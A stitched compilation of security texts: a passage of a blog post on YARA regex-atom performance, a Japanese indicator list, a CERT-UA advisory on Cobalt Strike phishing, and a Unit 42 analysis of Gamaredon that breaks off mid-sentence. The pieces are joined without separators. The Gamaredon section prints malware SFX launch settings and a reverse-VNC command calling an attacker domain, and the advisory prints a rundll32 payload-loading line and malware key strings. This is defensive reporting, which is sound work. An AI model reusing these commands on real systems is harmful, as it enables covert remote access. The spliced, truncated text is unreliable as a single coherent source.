Bitcoin addresses, as in the rule below: ```yara // btc.yar rule rule contains_btc_address { strings: $btc = /[13][a-km-zA-HJ-NP-Z1-9]{25,34}/ fullword ascii wide condition: $btc } ``` However, we would like to use some of these rules, so what is the solution? And what exactly is the reason that Yara is warning about low performance? Can this be changed or improved? ## Problem analysis After analyzing the problem, I found the potential issue that decreased the number of primarily regular expressions that could be used in Yara rules without warnings. To understand that, I will briefly explain how Yara works internally. Yara firstly searches for potential matches with the help of the Aho-Corasick machine. In this step, it finds all possible places in input where the whole strings can be found, and additionally, where rules can hit. Just after that, the bytecode engine is run to verify the matches, and then the conditions of the rules are also checked. For this first step, short substrings, up to 4 bytes, are selected from strings. A series of heuristics are used to choose the unique sequences. This is wanted as we do not want to search for the `00 00 00 00` sequence as it would hit too many times. The main problem is that the heuristics strongly prefer text strings and cannot work with regular expressions very effectively. In our case, the Bitcoin addresses lead to zero-length atom. What does that mean? The bytecode engine must check every byte from the input because every position could be a potential match. And this is a truly time-consuming task, thus the warnings. But what if we could help Yara better understand the regular expressions and help it narrow down the number of potential matches? Would the speed of scanning improve? After creating the proof of concept, I can say yes, we can do it. ## Proposed Changes You can read about all the details and formal theory behind the changes in my paper, but I will try to describe the changes in a more practical way here. First, I extended the definition of atoms from text strings to regular expressions. That means that they are able to represent the subclass of these languages. I kept the length of 4 bytes or rather a sequence of four classes. The class is a set of characters. It can be one character, that would be a literal, a collection of characters, like in `[a-d]` representing the set `{a, b, c, d}`. The last case is noted as a dot in regular expression as any character (sometimes without the new line, depending on the implementation). In this version, the Bitcoin address would be represented as `[13][a-km-zA-HJ-NP-Z1-9]{2}`, noting the repetition of the second class. It also could be `[13][a-km-zA-HJ-NP-Z1-9]{3}`. Still, experiments showed that the additional class does not improve the speed as significantly as the repetition does not provide a substantial decrease in the number of potential matches. The heuristics for selections of atoms were broadened and changed to prefer still simple text literals where they can be found and include more complex ones, as in our case at the same time. This part underwent several changes, and in the end, I tried to keep the changes as minimal as possible. My goal is not only to improve the scanning of the regular expressions but also scanning of other cases the same in the worst scenario. Even a tiny change in heuristics can dramatically affect the number of potential matches and thus the scanning speed, so this had to be handled carefully. The class itself is represented as a bitmap, an array of integers where individual characters are coded with a bit value set to 1 if the character is set, 0 otherwise. For example, for character `a`, the bit on position `bitmap[12][1]` is used, as its ASCII code (97) is divided by 8, and the resulting number is 12. The presence of the number is indicated by a bit with the value one on the position given by operation modulo 8. The selected atoms are then inserted into the Aho-Corasick automaton, a prefix tree machine. It is an extended version of a general finite automaton, where we are adding strings from the root state and detecting the common prefixes as we create states only when necessary. In my proposed version, it can also accept the classes instead of just simple text strings. In this step, the same classes are detected in the common prefix in a similar fashion as before. This leads to a problem because the Aho-Corasick contains so-called failure links that allow several matches (and even interleaving ones) to be detected at one pass from the input. This requires that the machine is deterministic even with failure links that return to previous states. My change, however, broke this determinism. Additional changes had to be made, and the machine was transformed into a deterministic one even for failure links. With these changes, we detected a subset of potential matches again, and the bytecode engine is run less often, even with the use of regular expressions. Also, the Bitcoin address can be detected without warnings about the slowing down scanning with my proposed changes. ## Tests For tests, I run both versions on the server with the Debian operating system in release 4.9.168 on a 64-bit architecture with a processor Intel Xeon 5–2697 v4 with a clock rate of 2.30GHz. The memory clock rate was 2.40GHz. As a compiler, the GCC in version 8.3.0 was used. I selected two rules, one with the Bitcoin address and one from unit tests, to provide additional information on the overall effects of the proposed changes. More tests can be found in my paper. To measure speed, I scanned two larger folders with various subfolders and files with 15 GB and 760 GB of data in total. ### BTC Address Rule ```yara // btc.yar rule rule contains_btc_address { strings: $btc = /[13][a-km-zA-HJ-NP-Z1-9]{25,34}/ fullword ascii wide condition: $btc } ``` | The rule btc.yar | Set 1 (15 GB) | Set 2 (760 GB) | |------------------|---------------|----------------| | The upstream version | 1m 20.134s | 8h 55m 21.727s | | The classes version | 6.683s | 40m 22.879s | ### Hex Value Rule ```yara // hex.yar rule rule hex_value_test { strings: $hex = {61 6? 63 [1–5] 65 66} condition: $hex } ``` | The rule hex.yar | Set 1 (15 GB) | Set 2 (760 GB) | |------------------|---------------|----------------| | The upstream version | 6.399s | 39m 7.329s | | The classes version | 6.285s | 37m 43.513s | ## Conclusion Yara is a fascinating tool for pattern matching, and I am happy that there is an online community that is very active and helpful. At Avast, we want to give back as much as possible, and for that reason, I also published the changes that we have been using in the company for a while now. Note that there will be a discussion with the authors of Yara about this commit, and there can be some additional updates and changes, so the updated version is the most suitable for general usage.
``` • ショートカットとファイルを悪用する攻撃キャンペーン • 日本企業を狙った標的型攻撃キャンペーン • サイバーレスキュー隊活動状況 • OFFCLN.EXE OCLEAN.DLL DWINTL.DLL • FILETRANDLL.dll • GoogleToolbar GTN.dll espui.dll Notifier.exe • %appdata%\NVIDIA • cttune.exe DWrite.dll espui.dll LoadPlgFromRemote.dll • ***** Participant Invitation Letter_Prof.***.iso Extract • ***** Participant Invitation wwlib.dll Wordcnv.dll 123.docx • Letter_Prof.***.docx.EXE %appdata%\Microsoft\Intel Statup • iGfx.lnk igfxxe.exe igfx.dll • MS_word.release_file() exported in Wordcnv.dll • Key = hexstring(MD5(“sidhioos*#hfFD23b!9”)) • IV = Key[8:24] • %appdata%\Microsoft\Intel\igfxxe.exe run %appdata%\Microsoft\Intel\igfx.dll 0 C:\AppData\Local\Intel\Games\123; • Check if the first param is “run” • If third param is 0, then invoke given DLL’s ApplyRecommendedSettings function • Base64 + AES128-CBC • Key=hexstring(MD5(“dsiieio(#ifv49JE39”)) • IV=Key[8:24] • b1bf4111980cf3eaf33433914de10dd6f39f8602 • Thank you sha1 detection 2b6133d54caa9d9b34d5ba9385ed1e8f6c22642c Trojan.Win32.MIRRORKEY.ZJJH c1a2799d4f3e4caf62a6e9aa58ea4b8592493221 TrojanSpy.Win32.TRANSBOX.ZJJH.enc domain / ip t54rf[.]driveshoster[.]com sourcebc9b[.]driveshoster[.]com fr5yt[.]driveshoster[.]com 6bfeeb71c[.]disknxt[.]com fd471sx[.]disknxt[.]com devbfe2[.]disknxt[.]com fe6beb71c[.]disknxt[.]com 45[.]32[.]13[.]214 ```
# CERT-UA ## General information: The government's team for responding to computer emergencies in Ukraine, CERT-UA, revealed the fact of distribution of e-mails on the topic "Urgent!" If you open the document and activate the macro, the macro will load, create, and run the "pe.dll" file on disk. This will damage your computer with Cobalt Strike Beacon malware. With a high level of confidence, we can note that the file "pe.dll", as well as the file "spisok.exe" from message CERT-UA # 4464, is protected by a cryptocurrency related to the group TrickBot. This activity is targeted and will be tracked by UAC-0098. ## Compromise indicators: ### Files: - 877f834e8788d05b625ba639b9318512 - ea9dae45f81fe3527c62ad7b84b03d19629014b1a0e346b6aa933e52b0929d8a Military on Azovstal.xls - e28ac0f94df75519a60ecc860475e6b3 - 9990fe0d8aac0b4a6040d5979afd822c2212d9aec2b90e5d10c0b15dee8d61b1 pe.dll (2022-04-15) - a3534cc24a76fa81ce38676027de9533 - 39a868e84524669491d6a251264144f0bfaca4f664d3fd10151854c341077262 shellcode.bin.packed.dll - eb18207d505a1de30af6c7baafd28e8e - ff30fdd64297ac41937f9a018753871fee0e888844fbcf7bf92bf5f8d6f57090 notevil.dll (CS Beacon) ### Network: - hxxp://138.68.229.0/pe.dll - hxxps://dezword.com/apiv8/getStatus - hxxps://dezword.com/apiv8/updateConfig - 84.32.188.29 (Provider: @cherryservers.com) - 138.68.229.0 (Provider: @hostkey.com) - 139.60.161.225 - 139.60.161.74 - 139.60.161.62 - 139.60.161.99 - 139.60.161.57 - 139.60.161.75 - 139.60.161.24 - 139.60.161.89 - 139.60.161.209 - 139.60.161.85 - 139.60.160.51 - 139.60.161.226 - 139.60.161.216 - 139.60.161.163 - 139.60.160.8 - 139.60.161.32 - 139.60.161.45 - 139.60.161.60 - 139.60.160.17 - dezword.com (2022-03-22) - agreminj.com - akaluij.com - anidoz.com - apeduze.com - apocalypse.com - arentuk.com - axikok.com - azimurs.com - baidencult.com - billiopa.com - blinky.com - blopik.com - borizhog.com - britxec.com - drimzis.com - fluoxi.com - shikjil.com - shormanz.com - verofes.com ### Hosts: - rundll32 C:\Windows\Tasks\pe.dll, DllRegisterServer - C:\Windows\Tasks\pe.dll ## Recommendations: 1. Prohibit office programs (EXCEL.EXE, WINWORD.EXE, etc.) from creating dangerous processes (for example, rundll32.exe, wscript.exe, etc.). 2. Carry out additional monitoring of the facts of establishing network connections by the rundll32.exe process.
# Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine **Updated Feb. 16** **By Unit 42** **February 3, 2022** **Category:** Government, Malware **Tags:** Advanced URL Filtering, APT, Cortex, DNS security, Gamaredon, next-generation firewall, primitive bear, Ukraine, WildFire This post is also available in: 日本語 (Japanese) **Executive Summary** Since November, geopolitical tensions between Russia and Ukraine have escalated dramatically. It is estimated that Russia has now amassed over 100,000 troops on Ukraine's eastern border, leading some to speculate that an invasion may come next. On Jan. 14, 2022, this conflict spilled over into the cyber domain as the Ukrainian government was targeted with destructive malware (WhisperGate) and a separate vulnerability in OctoberCMS was exploited to deface several Ukrainian government websites. While attribution of those events is ongoing and there is no known link to Gamaredon (aka Primitive Bear), one of the most active existing advanced persistent threats targeting Ukraine, we anticipate we will see additional malicious cyber activities over the coming weeks as the conflict evolves. We have also observed recent activity from Gamaredon. In light of this, this blog provides an update on the Gamaredon group. Since 2013, just prior to Russia’s annexation of the Crimean peninsula, the Gamaredon group has primarily focused its cyber campaigns against Ukrainian government officials and organizations. In 2017, Unit 42 published its first research documenting Gamaredon’s evolving toolkit and naming the group, and over the years, several researchers have noted that the operations and targeting activities of this group align with Russian interests. This link was recently substantiated on Nov. 4, 2021, when the Security Service of Ukraine (SSU) publicly attributed the leadership of the group to five Russian Federal Security Service (FSB) officers assigned to posts in Crimea. Concurrently, the SSU also released an updated technical report documenting the tools and tradecraft employed by this group. Given the current geopolitical situation and the specific target focus of this APT group, Unit 42 continues to actively monitor for indicators of their operations. In doing so, we have mapped out three large clusters of their infrastructure used to support different phishing and malware purposes. These clusters link to over 700 malicious domains, 215 IP addresses, and over 100 samples of malware. Monitoring these clusters, we observed an attempt to compromise a Western government entity in Ukraine on Jan. 19, 2022. We have also identified potential malware testing activity and reuse of historical techniques involving open-source virtual network computing (VNC) software. The sections below offer an overview of our findings in order to aid targeted entities in Ukraine as well as cybersecurity organizations in defending against this threat group. **Update Feb. 16:** When we originally published this report, we noted, “While we have mapped out three large clusters of currently active Gamaredon infrastructure, we believe there is more that remains undiscovered.” We have since discovered hundreds more Gamaredon-related domains, including known related clusters, and also new clusters. We have updated our Indicators of Compromise (IoCs) to include these additional domains and cluster observations. Full visualization of the techniques observed, relevant courses of action, and IoCs related to this Gamaredon report can be found in the Unit 42 ATOM viewer. Palo Alto Networks customers receive protections against the types of threats discussed in this blog by products including Cortex XDR and the WildFire, AutoFocus, Advanced URL Filtering, and DNS Security subscription services for the Next-Generation Firewall. ## Gamaredon Downloader Infrastructure (Cluster 1) Gamaredon actors pursue an interesting approach when it comes to building and maintaining their infrastructure. Most actors choose to discard domains after their use in a cyber campaign in order to distance themselves from any possible attribution. However, Gamaredon’s approach is unique in that they appear to recycle their domains by consistently rotating them across new infrastructure. A prime example can be seen in the domain libre4[.]space. Evidence of its use in a Gamaredon campaign was flagged by a researcher as far back as 2019. Since then, Cisco Talos and Threatbook have also firmly attributed the domain to Gamaredon. Yet despite public attribution, the domain continues to resolve to new internet protocol (IP) addresses daily. Pivoting to the first IP on the list (194.58.100[.]17) reveals a cluster of domains rotated and parked on the IP on the exact same day. Thorough pivoting through all of the domains and IP addresses results in the identification of almost 700 domains. These are domains that are already publicly attributed to Gamaredon due to use in previous cyber campaigns, mixed with new domains that have not yet been used. Drawing a delineation between the two then becomes an exercise in tracking the most recent infrastructure. Focusing on the IP addresses linked to these domains over the last 60 days results in the identification of 136 unique IP addresses; interestingly, 131 of these IP addresses are hosted within the autonomous system (AS) 197695 physically located in Russia and operated by the same entity used as the registrar for these domains, reg[.]ru. The total number of IPs translates to the introduction of roughly two new IP addresses every day into Gamaredon’s malicious infrastructure pool. Monitoring this pool, it appears that the actors are activating new domains, using them for a few days, and then adding the domains to a pool of domains that are rotated across various IP infrastructure. This shell game approach affords a degree of obfuscation to attempt to hide from cybersecurity researchers. For researchers, it becomes difficult to correlate specific payloads to domains and to the IP address that the domain resolved to on the precise day of a phishing campaign. Furthermore, Gamaredon’s technique provides the actors with a degree of control over who can access malicious files hosted on their infrastructure, as a web page’s uniform resource locator (URL) file path embedded in a downloader only works for a finite period of time. Once the domains are rotated to a new IP address, requests for the URL file paths will result in a “404” file not found error for anyone attempting to study the malware. ### Cluster 1 History While focusing on current downloader infrastructure, we were able to trace the longevity of this cluster back to an origin in 2018. Certain “marker” domains, such as the aforementioned libre4[.]space, are still active today and also traced back to March 2019 with apparently consistent ownership. On the same date range in March 2019, a cluster of domains was observed on 185.158.114[.]107 with thematically linked naming – several of which are still active in this cluster today. Further pivoting back in time and across domains finds an apparent initial domain for this cluster of infrastructure, bitsadmin[.]space on 195.88.209[.]136, in December 2018. ### Initial Downloaders Searching for samples connecting to Gamaredon infrastructure across public and private malware repositories resulted in the identification of 17 samples over the past three months. The majority of these files were either shared by entities in Ukraine or contained Ukrainian filenames. | Filename | Translation | |--------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------| | Максим.docx | Maksim.docx | | ПІДОЗРА РЯЗАНЦЕВА.docx | RAZANTSEV IS SUSPICIOUS.docx | | протокол допиту.docx | interrogation protocol.docx | | ТЕЛЕГРАММА.docx | TELEGRAM.docx | | 2_Пам’ятка_про_процесуальні_права_та_обов’язки_потерпілого.docx | 2_Memorial_about_processal_rights_and_obligations_of_the_Victim.docx | | 2_Porjadok_do_nakazu_111_vid_13.04.2017.docx | 2_Procedure_to_order_111_from_13.04.2017.docx | | висновок тимошечкин.docx | conclusion Timoshechkin.docx | | Звіт на ДМС за червень 2021 (Автосохранений).doc | Report on the LCA for June 2021 (Autosaved).doc | | висновок Кличко.docx | Klitschko's conclusion.docx | | Обвинувальний акт ГЕРМАН та ін.docx | Indictment GERMAN et al.docx | | супровід 1-СЛ 10 місяців.doc | support 1-SL 10 months.doc | An analysis of these files found that they all leveraged a remote template injection technique that allows the documents to pull down the malicious code once they are opened. This allows the attacker to have control over what content is sent back to the victim in an otherwise benign document. Recent examples of the remote template “dot” file URLs these documents use include the following: - http://bigger96.allow.endanger.hokoldar[.]ru/[Redacted]/globe/endanger/lovers.cam - http://classroom14.nay.sour.reapart[.]ru/[Redacted]/bid/sour/glitter.kdp - http://priest.elitoras[.]ru/[Redacted]/pretend/pretend/principal.dot - http://although.coferto[.]ru/[Redacted]/amazing.dot - http://source68.alternate.vadilops[.]ru/[Redacted]/clamp/interdependent.cbl Many of the files hosted on the Gamaredon infrastructure are labeled with abstract extensions such as .cam, .cdl, .kdp, and others. We believe this is an intentional effort by the actor to reduce exposure and detection of these files by antivirus and URL scanning services. Taking a deeper look at the top two, hokoldar[.]ru and reapart[.]ru, provides unique insights into two recent phishing campaigns. Beginning with the first domain, passive DNS data shows that the domain first resolved to an IP address that was shared with other Gamaredon domains on Jan. 4. Figure 2 above shows that hokoldar[.]ru continued to share an IP address with libre4[.]space on Jan. 27, once again associating it with the Gamaredon infrastructure pool. In that short window, on Jan. 19, we observed a targeted phishing attempt against a Western government entity operating in Ukraine. In this attempt, rather than emailing the downloader directly to their target, the actors instead leveraged a job search and employment service within Ukraine. In doing so, the actors searched for an active job posting, uploaded their downloader as a resume, and submitted it through the job search platform to a Western government entity. Given the steps and precision delivery involved in this campaign, it appears this may have been a specific, deliberate attempt by Gamaredon to compromise this Western government organization. Expanding beyond this recent case, we also discovered public evidence of a Gamaredon campaign targeting the State Migration Service of Ukraine. On Dec. 1, an email was sent from yana_gurina@ukr[.]net to 6524@dmsu[.]gov.ua. The subject of the email was “NOVEMBER REPORT” and attached to the email was a file called “Report on the LCA for June 2021(Autosaved).doc.” When opened, this Word document calls out to reapart[.]ru. From there, it downloads and then executes a malicious remote Word Document Template file named glitter.kdp. CERT Estonia (CERT-EE), a department within the Cyber Security Branch of the Estonian Information System Authority, recently published an article on Gamaredon which covers the content returned from these remote template files. To summarize their findings on this aspect, the remote template retrieves a VBS script to execute which establishes a persistent command and control (C2) check-in and will retrieve the next payload once the Gamaredon group is ready for the next phase. In CERT-EE’s case, after six hours the infrastructure came back to life again and downloaded a SelF-eXtracting (SFX) archive. This download of an SFX archive is a hallmark of the Gamaredon group and has been an observed technique for many years to deliver various open-source virtual network computing (VNC) software packages that the group uses for maintaining remote access to victim computers. The group’s current preference appears to be open-source UltraVNC software. ### SFX Files and UltraVNC SFX files allow someone to package other files in an archive and then specify what will happen when a user opens the package. In the case of Gamaredon, they generally keep it simple and bundle together a package containing a simple Batch script and UltraVNC software. This lightweight VNC server can be preconfigured to initiate a connection back to another system, commonly referred to as a reverse tunnel, allowing attackers to bypass the typical firewall restrictions; these reverse connections seemingly are not initiated by the attacker but instead come from inside the network where the victim exists. To illustrate how this occurs, we will step through one of the SFX files (SHA256: 4e9c8ef5e6391a9b4a705803dc8f2daaa72e3a448abd00fad36d34fe36f53887) that we recently identified. When building an SFX file one has the option to specify a series of commands that will be executed upon successful extraction of the archive. In the case of Gamaredon, the majority of SFX files will launch a batch file, which is included in the archive. In some instances, the actor will shuffle files around within the archive to try to obfuscate what they are, but usually a command line switch can be found, similar to this: ``` ;!@Install@!UTF-8! InstallPath="%APPDATA%\\Drivers" GUIMode="2" SelfDelete="1" RunProgram="hidcon:34679.cmd" ``` This will extract the files to %APPDATA%\\Drivers and then run the Windows Batch file 34679.cmd in a hidden console. The use of the hidcon (hidden console) prefix followed by a four-five digit filename with a cmd extension is observed in the majority of our tracked samples during this time period. The following files were included in this particular archive: | SHA256 | Filename | |---------------------------------------------------------------------------------------------------|-----------------------------------------------| | 695fabf0d0f0750b3d53de361383038030752d07b5fc8d1ba6eb8b3e1e7964fa | 34679.cmd | | d8a01f69840c07ace6ae33e2f76e832c22d4513c07e252b6730b6de51c2e4385 | MSRC4Plugin_for_sc.dsm | | 393475dc090afab9a9ddf04738787199813f3974a22c13cb26f43c781e7b632f | QlpxpQpOpDpnpRpC.ini | | ed13f0195c0cf8fc9905c89915f5b6f704140b36309c2337be86d87a8f5fef6c | UltraVNC.ini | | 304d63fcd859ea71833cf13b8923f74ebe24abf750de9d01b7849b907f24d33b | YiIbIbIqIZIiIBI2.jpg | | 1f1650155bfe9a4eb6b69365fc8a791281f866919202d44646e23e7f2f1d3db9 | kqT5TMTETyTJT4TG.jpg | | 27285cb2b5bebd5730772b66b33568154cd4228c92913c5ef2e1234747027aa5 | owxxxGxzxqxxxExw.jpg | | 3225058afbdf79b87d39a3be884291d7ba4ed6ec93d1c2010399e11962106d5b | rc4.key | The batch files use randomized alphanumeric strings for the variable names, and – depending on the sample – collect different information or use different domains and filenames; however, at the core they each perform one specific function – initiate the reverse VNC connection. The purpose of this file is to obscure and execute the desired command: ``` start "" "%CD%\sysctl.exe" -autoreconnect -id:[system media access control (MAC) address] -connect technec[.]org:8080 ``` In this case, the attacker sets the variable nRwuwCwBwYwbwEwI twice, which we believe is likely due to copy-pasting from previous scripts (we’ll cover this in more detail later). This variable, along with the next few, will identify the process name the malware will masquerade under, an identifier with which to track the victim, the remote attacker’s domain to which the connection should be made, the word connect, which is dropped into the VNC command, and then the port, 8080, which the VNC connection will use. At every turn, the actor tries to blend into normal user traffic to remain under the radar for as long as possible. After the variables are set, the command line script copies QlpxpQpOpDpnpRpC.ini to the executable name that has been picked for this run and then attempts to kill any legitimate process using the specified name before launching it. The name for the .ini file is randomized per archive, but almost always turns out to be that of the VNC server itself. As stated previously, one benefit of this VNC server is that it will use the supplied configuration file (UltraVNC.ini), and – along with the two files rc4.key and MSRC4Plugin_for_sc.dsm – will encrypt the communication to further hide from network detection tools. It’s not yet clear what the three .jpg files shown in Table 2 are used for as they are base64-encoded data that is likely XOR encoded with a long key. Gamaredon has used this technique in the past, but these are likely staged files for the attacker to decode once they connect to the system. The following are the SFX launch parameters from a separate file to illustrate how the actor attempts to obfuscate the file names but also that these potentially staged files are not present in all samples. ``` InstallPath="%USERPROFILE%\\Contacts" GUIMode="2" SelfDelete="1" RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\18820.tmp %USERPROFILE%\Contacts\MSRC4Plugin_for_sc.dsm" RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\25028.tmp %USERPROFILE%\Contacts\rc4.key" RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\24318.tmp %USERPROFILE%\Contacts\UltraVNC.ini" RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\25111.tmp %USERPROFILE%\Contacts\wn.cmd" RunProgram="hidcon:%USERPROFILE%\\Contacts\\wn.cmd" ``` While investigating these files, we observed what we believe was active development on these .cmd files that helps illuminate the Gamaredon group’s processes. Specifically, on Jan. 14 starting at 01:23 am GMT, we began seeing VirusTotal uploads of a seemingly in-draft .cmd file pointing to the same attacker-controlled VNC server. Initially, these files were uploaded to VirusTotal via the Tor network and used the process name svchosst over transmission control protocol (TCP)/8080, leveraging the user’s Windows security identifier (SID) instead of MAC address for the VNC identification. The SFX files simply had the name 1.exe. ``` @for /f %%i in ('wmic useraccount where name^='%USERNAME%' get sid ^| find "S-1"') do set JsVqVzVxVfVqVaVs=%%i set ZGVxVkVIVUVlVgVb=technec[.]org set qgSjSdSaSsSiSGS3=svchosst set AVlflclclZlPlYlI=8080 set djM8MfMRM0M5MBM0=connect ``` Three minutes later, we saw the same file uploaded via Tor, but the actor had changed the port to TCP/80 and introduced a bug in the code that prevents it from executing correctly. Note the positional change of the variables as well. ``` set djM8MfMRM0M5MBM0=onnect set r8JgJJJHJGJmJHJ5=%RANDOM% set ZGVxVkVIVUVlVgVb=technec[.]org set qgSjSdSaSsSiSGS3=svchosst set AVlflclclZlPlYlI=80 ``` The bug is due to the onnect value that is set. Reviewing how the reverse VNC connection is launched, this value is used in two places: -autorec%djM8MfMRM0M5MBM0% and -%djM8MfMRM0M5MBM0%. ``` start "1" "%CD%\%qgSjSdSaSsSiSGS3%.exe" -autorec%djM8MfMRM0M5MBM0% -id:%r8JgJJJHJGJmJHJ5% -%djM8MfMRM0M5MBM0% %ZGVxVkVIVUVlVgVb%:80%AVlflclclZlPlYlI% ``` The second instance doesn’t contain the c value needed to correctly spell the word and thus presents an invalid parameter. After another three minutes, the actor uploaded an SFX file called 2.exe, simply containing test.cmd with the word test in the content. Again, minutes later, we saw 2.exe uploaded with test.cmd, but this time it contained the initial part of the .cmd file. However, the actor had forgotten to include the VNC connect string. This is where it gets interesting, though – about 15 minutes later, we saw the familiar 2.exe upload with test.cmd, but this time it was being uploaded directly by a user in Russia from a public IP address. We continued to observe this pattern of uploads every few minutes, where each was a slight iteration of the one before. The person uploading the files appeared to be rapidly – and manually – modifying the .cmd file to restore functionality (though the actor was unsuccessful in this series of uploads). Several domains and IP addresses were hard-coded in VNC samples that are not related to any of domain clusters 1-3 (documented in our full IoC list). ### SSL Pivot to Additional Infrastructure and Samples While conducting historical research on the infrastructure in cluster 1, we discovered a self-signed certificate associated with cluster 1 IP address 92.242.62[.]96: - Serial: 373890427866944398020500009522040110750114845760 - SHA1: 62478d7653e3f5ce79effaf7e69c9cf3c28edf0c - Issued: 2021-01-27 - Expires: 2031-01-25 - Common name: ip45-159-200-109.crelcom[.]ru Although the IP Address WHOIS record for Crelcom LLC is registered to an address in Moscow, the technical admin listed for the netblock containing the IP address is registered to an address in Simferopol, Crimea. We further trace the apparent origins of Crelcom back to Simferopol, Crimea, as well. This certificate relates to 79 IP addresses: - One IP address links to cluster 1 above (92.242.62[.]96) - 76 IP addresses link to another distinct collection of domains – “cluster 2” - 1 IP address led us to another distinct cluster, “cluster 3” (194.67.116[.]67) We find almost no overlap of IP addresses between these separate clusters. ## File Stealer (Cluster 2) Of the 76 IP addresses we associate with cluster 2, 70 of them have confirmed links to C2 domains associated with a variant of Gamaredon’s file stealer tool. Within the last three months, we have identified 23 samples of this malware, twelve of which appear to have been shared by entities in Ukraine. The C2 domains in those samples include: | Domain | First Seen | |--------------------|--------------| | jolotras[.]ru | 12/16/2021 | | moolin[.]ru | 10/11/2021 | | naniga[.]ru | 9/2/2021 | | nonimak[.]ru | 9/2/2021 | | bokuwai[.]ru | 9/2/2021 | | krashand[.]ru | 6/17/2021 | | gorigan[.]ru | 5/25/2021 | As you can see, some of these domains were established months ago, yet despite their age, they continue to enjoy benign reputations. For example, only five out of 93 vendors consider the domain krashand[.]ru to be malicious on VirusTotal. Reviewing passive DNS (pDNS) logs for these domains quickly reveals a long list of subdomains associated with each. Some of the subdomains follow a standardized pattern. For example, several of the domains use the first few letters of the alphabet (a, b, c) in a repeating combination. Conversely, jolotras[.]ru and moolin[.]ru use randomized alphanumeric characters. We believe that these subdomains are dynamically generated by the file stealer when it first establishes a connection with its C2 server. As such, counting the number of subdomains associated with a particular C2 domain provides a rough gauge of the number of entities that have attempted to connect to the server. However, it is important to also note that the number of pDNS entries can also be skewed by researchers and cybersecurity products that may be evaluating the malicious samples associated with a particular C2 domain. | Subdomains | |-------------------------------------| | 637753576301692900[.]jolotras.ru | | 637753623005957947[.]jolotras[.]ru | | 637755024217842817.jolotras[.]ru | | a.nonimak[.]ru | | aaaa.nonimak[.]ru | | aaaaa.nonimak[.]ru | | aaaaaa.nonimak[.]ru | | 0enhzs.moolin[.]ru | | 0ivrlzyk.moolin[.]ru | | 0nxfri.moolin[.]ru | In mapping these domains to their corresponding C2 infrastructure, we discovered that the domains overlap in terms of the IP addresses they point to. This allowed us to identify the following active infrastructure: | IP Address | First Seen | |------------------------|--------------| | 194.58.92[.]102 | 1/14/2022 | | 37.140.199[.]20 | 1/10/2022 | | 194.67.109[.]164 | 12/16/2021 | | 89.108.98[.]125 | 12/26/2021 | | 185.46.10[.]143 | 12/15/2021 | | 89.108.64[.]88 | 10/29/2021 | Of note, all of the file stealer infrastructure appears to be hosted within AS197695, the same AS highlighted earlier. Historically, we have seen the C2 domains point to various autonomous systems (AS) globally. However, as of early November, it appears that the actors have consolidated all of their file stealer infrastructure within Russian ASs – predominantly this single AS. In mapping the patterns involved in the use of this infrastructure, we found that the domains are rotated across IP addresses in a manner similar to the downloader infrastructure discussed previously. A malicious domain may point to one of the C2 server IP addresses today while pointing to a different address tomorrow. This adds a degree of complexity and obfuscation that makes it challenging for network defenders to identify and remove the malware from infected networks. The discovery of a C2 domain in network logs thus requires defenders to search through their network traffic for the full collection of IP addresses that the malicious domain has resolved to over time. As an example, moolin[.]ru has pointed to 11 IP addresses since early October, rotating to a new IP every few days. | IP Address | Country | AS | First Seen | Last Seen | |--------------------------|---------|--------|--------------|--------------| | 194.67.109[.]164 | RU | 197695 | 2021-12-28 | 2022-01-27 | | 185.46.10[.]143 | RU | 197695 | 2021-12-16 | 2021-12-26 | | 212.109.199[.]204 | RU | 29182 | 2021-12-15 | 2021-12-15 | | 80.78.241[.]253 | RU | 197695 | 2021-11-19 | 2021-12-14 | | 89.108.78[.]82 | RU | 197695 | 2021-11-16 | 2021-11-18 | | 194.180.174[.]46 | MD | 39798 | 2021-11-15 | 2021-11-15 | | 70.34.198[.]226 | SE | 20473 | 2021-10-14 | 2021-10-30 | | 104.238.189[.]186 | FR | 20473 | 2021-10-13 | 2021-10-14 | | 95.179.221[.]147 | FR | 20473 | 2021-10-13 | 2021-10-13 | | 176.118.165[.]76 | RU | 43830 | 2021-10-12 | 2021-10-13 | Shifting focus to the malware itself, file stealer samples connect to their C2 infrastructure in a unique manner. Rather than connecting directly to a C2 domain, the malware performs a DNS lookup to convert the domain to an IP address. Once complete, it establishes an HTTPS connection directly to the IP address. For example: - C2 Domain: moolin[.]ru - C2 IP Address: 194.67.109[.]164 - C2 Comms: https://194.67.109[.]164/zB6OZj6F0zYfSQ This technique of creating distance between the domain and the physical C2 infrastructure seems to be an attempt to bypass URL filtering: 1. The domain itself is only used in an initial DNS request to resolve the C2 server IP address – no actual connection is attempted using the domain name. 2. Identification and blocking of a domain doesn’t impact existing compromises as the malware will continue to communicate directly with the C2 server using the IP address – even if the domain is subsequently deleted or rotated to a new IP – as long as the malware continues to run. One recent file stealer sample we analyzed (SHA256: f211e0eb49990edbb5de2bcf2f573ea6a0b6f3549e772fd16bf7cc214d924824) was found to be a .NET binary that had been obfuscated to make analysis more difficult. The first thing that jumps out when reviewing these files are their sizes. This particular file clocks in at over 136 MB in size, but we observed files going all the way up to 200 MB and beyond. It is possible that this is an attempt to circumvent automated sandbox analysis, which usually avoids scanning such large files. It may also simply be a byproduct of the obfuscation tools being used. Whatever the reason for the large file size, it comes at a price to the attacker, as executables of this size stick out upon review. Transmitting a file this large to a victim becomes a much more challenging task. The obfuscation within this sample is relatively simple and mainly relies upon defining arrays and concatenating strings of single characters in high volume over hundreds of lines to try to hide the construction of the actual string within the noise. It begins by checking for the existence of the Mutex Global\lCHBaUZcohRgQcOfdIFaf, which, if present, implies the malware is already running and will cause the file stealer to exit. Next, it will create the folder C:\Users\%USER%\AppData\Local\TEMP\ModeAuto\icons, wherein screenshots that are taken every minute will be stored and then transmitted to the C2 server with the name format YYYY-MM-DD-HH-MM.jpg. To identify the IP address of the C2 server, the file stealer will generate a random string of alphanumeric characters between eight and 23 characters long, such as 9lGo990cNmjxzWrDykSJbV.jolotras[.]ru. As mentioned previously, once the file stealer retrieves the IP address for this domain, it will no longer use the domain name. Instead, all communications will be direct with the IP address. During execution, it will search all fixed and network drives attached to the computer for the following extensions: - .doc - .docx - .xls - .rtf - .odt - .txt - .jpg - .pdf - .ps1 When it has a list of files on the system, it begins to create a string for each that contains the path of the file, the size of 